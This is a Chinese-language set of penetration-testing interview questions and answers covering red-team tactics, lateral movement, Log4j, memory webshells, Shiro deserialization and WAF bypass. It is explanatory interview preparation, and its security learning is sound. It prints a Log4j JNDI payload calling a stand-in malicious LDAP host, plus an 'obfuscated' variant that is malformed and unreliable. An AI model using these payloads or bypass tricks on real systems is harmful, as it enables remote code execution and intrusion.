`1、在xxx实习时做了什么
根据自己情况而定
2、渗透测试的思路简单描述
- 明确目标:确定渗透测试的目标和范围,例如测试某个特定的应用程序、系统或网络等。
- 信息收集:收集目标系统的相关信息,包括IP地址、开放的端口、使用的操作系统、应用程序版本等。这些信息可以通过公开渠道获取,也可以通过扫描工具进行探测。
- 漏洞扫描:使用漏洞扫描工具对目标系统进行扫描,发现其中存在的漏洞和安全隐患。这些漏洞可能是已知的,也可能是未知的,测试人员需要根据扫描结果进行分析和评估。
- 漏洞利用:针对发现的漏洞,测试人员会尝试利用这些漏洞来获取目标系统的访问权限。这可能包括使用特定的攻击代码、工具或技术来攻击目标系统。
- 权限提升:一旦测试人员成功获取了目标系统的访问权限,他们可能会尝试提升自己的权限,以便能够执行更多的操作。这可能包括获取管理员权限、访问敏感数据等。
- 撰写报告:测试人员需要记录测试过程中的所有步骤和结果,并撰写详细的渗透测试报告。报告中应该包括发现的漏洞、攻击的方法、成功的攻击案例以及针对每个漏洞的修复建议等。
- 修复漏洞:根据渗透测试报告,系统管理员或安全团队应该对发现的漏洞进行修复和加固,以提高系统的安全性。
3、护网中承担什么角色
红初,主要负责
- 信息收集
- 外围打点
- 漏洞扫描
- 简单漏洞利用
- 报告编写
4、红队一些攻击思路
- 外部侦察与信息收集:
- 利用公开渠道(如搜索引擎、社交媒体、公共数据库等)收集目标组织的信息,包括组织结构、关键人员、技术架构、系统漏洞等。
- 使用扫描工具对目标组织的网络进行扫描,识别开放的端口、服务、潜在的漏洞和配置错误。
- 社会工程学:
- 通过钓鱼邮件、假冒身份、电话诈骗等手段诱导目标员工泄露敏感信息或执行恶意操作。
- 利用人性弱点(如好奇心、贪婪、恐惧等)设计巧妙的社交工程陷阱。
- 漏洞利用与权限提升:
- 针对目标系统上发现的漏洞,利用相应的攻击代码或工具进行攻击,获取初步访问权限。
- 在获得低权限访问后,通过提权漏洞、配置错误或凭证窃取等手段提升权限至更高级别。
- 内网渗透与横向移动:
- 在突破边界防御后,进一步渗透到内部网络,探索并攻击其他系统。
- 利用内网中的漏洞、弱密码、共享资源等进行横向移动,扩大攻击范围。
- 持久化与后门植入:
- 在目标系统中植入恶意代码或后门,以便在需要时重新获得访问权限。
- 使用隐蔽的通信渠道和加密技术来隐藏后门行为,避免被安全设备检测。
- 数据窃取与破坏:
- 搜索并窃取目标系统中的敏感数据,如用户凭证、财务信息、知识产权等。
- 对目标系统进行破坏或篡改,以达到干扰业务运行或制造混乱的目的。
- 痕迹清除与反追踪:
- 在攻击过程中注意隐藏自己的行踪,避免留下可被追踪的痕迹。
- 在完成任务后清理现场,删除日志文件、清理工具残留等,以降低被发现的风险。
- 团队协作与信息共享:
- 红队成员之间保持紧密协作,共享信息、资源和经验。
5、拿下系统如何横向
- 利用凭证和哈希:
- 攻击者可以尝试捕获和利用存储在系统中的用户凭证(如密码、哈希、令牌等)来进行横向移动。这可以通过各种技术实现,如键盘记录、内存转储分析等。
- 利用Windows中的Pass-the-Hash(PtH)或Pass-the-Ticket(PtT)技术,攻击者可以使用捕获到的哈希值或Kerberos票据来无需明文密码即可访问其他系统。
- 利用共享资源和网络位置:
- 攻击者可以利用系统中配置的共享文件夹、打印机、网络驱动器等资源来访问其他系统。
- 通过SMB协议等,攻击者可以尝试枚举网络上的其他系统,并寻找可利用的共享资源。
- 利用远程执行和远程服务:
- 攻击者可以利用在目标系统上找到的远程执行功能(如Windows远程桌面协议RDP、SSH等)来直接访问其他系统。
- 利用远程服务(如Windows远程管理服务WinRM、PowerShell Remoting等)也可以实现远程执行代码和命令。
- 利用内部工具的漏洞和错误配置:
- 企业内部经常使用的各种系统管理和监控工具可能成为攻击者进行横向移动的跳板。
- 攻击者可以利用这些工具的已知漏洞或错误配置来获得对其他系统的访问权限。
- 利用信任关系和域控制器:
- 在Windows环境中,攻击者可以利用域信任关系在域之间进行横向移动。
- 攻击者可以尝试获取域管理员权限,并使用域控制器来访问和控制网络中的其他系统。
- 隧道技术和端口转发:
- 攻击者可以使用隧道技术(如SSH隧道、VPN隧道等)来绕过网络限制并访问内部系统。
- 端口转发技术可以帮助攻击者将流量从一个系统重定向到另一个系统,从而实现间接访问。
- 内网扫描和发现:
- 攻击者可以使用内网扫描工具来发现内部网络中的其他系统和服务。
- 通过扫描开放的端口和服务,攻击者可以识别潜在的攻击目标,并利用发现的漏洞进行横向移动。
6、log4j有研究吗,可以简单说一下吗
Log4j是一个广泛使用的Java日志记录库,但近年来它也成为了一些重大安全漏洞的源头。这些漏洞允许攻击者在目标系统上执行任意代码,可能导致数据泄露、系统被完全控制等严重后果。
Log4j的漏洞主要与其处理日志记录的方式有关。特别是,Log4j支持在日志记录中包含来自各种来源的数据,如环境变量、用户输入等。然而,如果这些数据没有得到正确处理或过滤,就可能导致安全漏洞。
例如,攻击者可以利用Log4j的某些功能,将恶意代码注入到日志记录中。当这些日志记录被处理或显示时,恶意代码就会被执行,从而允许攻击者获得对目标系统的访问权限。
7、(接上)有哪些混淆绕过的方法
原来的poc:${jndi:ldap://malicious-ldap-server.com/a}
绕过的poc:{{::-j}{::-n}{::-d}{::-i}:{::-l}{::-d}{::-a}{::-p}://example.com/a}
8、内存马有没有了解
内存马,也被称为无文件马,是一种无文件攻击手段,主要在内存中写入恶意后门和木马并执行,以达到远程控制Web服务器的目的。它瞄准了企业的对外窗口,如网站和应用。与传统的基于文件的Webshell不同,内存马利用中间件的进程执行某些恶意代码,不会在磁盘上留下文件,因此给检测带来巨大难度。
内存马主要有以下几个特点:
- 操作隐蔽:由于内存马直接注入到进程的内存空间中运行,不会写入磁盘,因此不会产生明显的痕迹,难以被检测到。
- 实时修改:内存马可以实时修改进程的内存数据,如修改系统内核函数表、修改进程控制块等,极大地增加了恶意代码对系统的控制能力。
- 自我保护:内存马往往会实现自我保护机制,例如通过Hook操作系统内核函数来阻止防御软件对自己进行查杀或删除。
为了防范内存马攻击,可以采取以下措施:
- 设置JVM参数以限制Java Agent的使用,只接受指定的Java Agent或在特定目录下的Java Agent运行。
- 使用经过安全审计的Java Agent,避免使用来自不可信来源的Java Agent。
- 对Java Agent进行数字签名和校验,确保其完整性和可信性。
- 限制Java Agent修改的字节码范围和对JVM的操作权限,以加强JVM的安全性。
- 定期检查和审计Java Agent,确保其安全性和合规性,并及时更新和升级Java Agent以避免已知的漏洞和安全问题。
9、冰蝎、哥斯拉这些工具有没有了解过
冰蝎是一款动态二进制加密网站管理客户端,也被称为webshell管理工具。它基于JAVA开发,兼容jdk范围为jdk6-jdk8,因此可以跨平台使用。冰蝎的主要功能包括基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等,功能非常强大。在通信过程中,冰蝎使用AES加密算法进行加密,使得攻击特征难以被安全设备(如WAF、WebIDS)检测。
Godzilla则是另一款Webshell管理工具,使用前需要安装JDK1.8环境。Godzilla支持jsp、php、aspx等多种载荷,且原生实现AES加密(在Java和C#中)和异或加密(在PHP中)。用户可以生成所需的Webshell,并通过Godzilla进行管理。这款工具也提供了文件管理、命令执行、数据库管理等功能。
10、做攻击队的时候有没有研究过什么攻击,比如研究一些工具还是魔改什么的
魔改burp的一些插件研究过
Retire.js (Burp plugin):安服水一些漏洞比较好用
集成Retire.js存储库以查找易受攻击的JavaScript库。它被动地查看加载的 JavaScript 文件,并根据各种签名类型(URL、文件名、文件内容或特定哈希)识别易受攻击的文件。
Autorize:Autorize 是 Burp Suite 的自动授权强制检测扩展。它是由应用程序安全专家 Barak Tawily 用 Python 编写的。Autorize 旨在通过执行自动授权测试来帮助安全测试人员。在上一个版本中,Autorize 还执行自动身份验证测试。
APIKit:接口自动化执行请求,属于先找到接口了再丢进来就可以帮你构造请求了,被动挂着也能扫,一般我都是遇到接口了需要构造请求才开
链接:API-Security/APIKit: APIKit:Discovery, Scan and Audit APIs Toolkit All In One. (github.com)
11、那么多漏洞和攻击,比较擅长哪一个
根据自己情况说
12、说-下shiro反序列化的形成原因、利用链
一、形成原因:
Shiro是一个Java安全框架,提供了身份验证、授权、加密和会话管理等功能。其中,Shiro的序列化功能可以将对象序列化为字节流,以便在不同的系统之间进行传输或者持久化存储。然而,当Shiro反序列化一个恶意构造的序列化数据时,由于反序列化过程中没有对数据进行正确的验证和过滤,攻击者可以插入恶意的代码,这些代码在反序列化时会被执行。这可能导致攻击者获得目标系统的控制权,并进行恶意操作,如窃取数据、破坏系统等。
Shiro的“记住我”功能也与此有关。用户登录成功后,会生成一个经过加密并编码的cookie,其key为“RememberMe”。这个cookie的值是经过序列化的,使用AES加密,再使用base64编码。服务端在接收cookie时,会进行base64解码,AES解密,然后进行反序列化。如果在这个过程中没有进行适当的过滤处理,就可能会触发反序列化漏洞。
二、利用链:
攻击者可以利用Shiro反序列化漏洞的执行任意代码的特性,来构造恶意的请求。具体步骤可能包括:
- 构造一个恶意的对象,并且对其序列化。
- 使用Shiro默认的密钥对序列化后的数据进行AES加密,再进行base64编码。
- 将编码后的数据作为cookie的“RememberMe”字段发送。
- 当服务端接收到这个cookie并进行反序列化时,恶意代码就会被执行。
这个过程中,Shiro默认的密钥的泄露是一个重要的风险因素。一些用户在使用Shiro框架时,并没有修改配置文件中的默认密钥,这使得攻击者可以更容易地构造出恶意的请求。
13、对一些bypass的方法有没有了解过,有什么姿势
CDN WAF绕过
第一个,查询域名历史DNS解析
第二个,查看子域名解析地址是否和主域名的IP地址相近。
第三个,CDN节点分发缺陷,通过国外IP访问网站可能会出现真实IP
HTTP不同的请求方法污染
假设服务器只拦截GET/POST请求,那么根据Apache服务器的特性,发送其他请求(如:HEAD 、PUT TRACE )只要脚本接收的是GET参数,那么也是可以传递参数值的。
文件上传
根据中间件决定,比如iis和Apache对文件后缀名的校验可以绕过,iis后缀名对于/.php格式后缀的文件当做php解析,然后还有文件夹解析漏洞,例如:/.asp文件夹下所有文件会被当做asp解析,等等,还是得看中间件的类型和版本。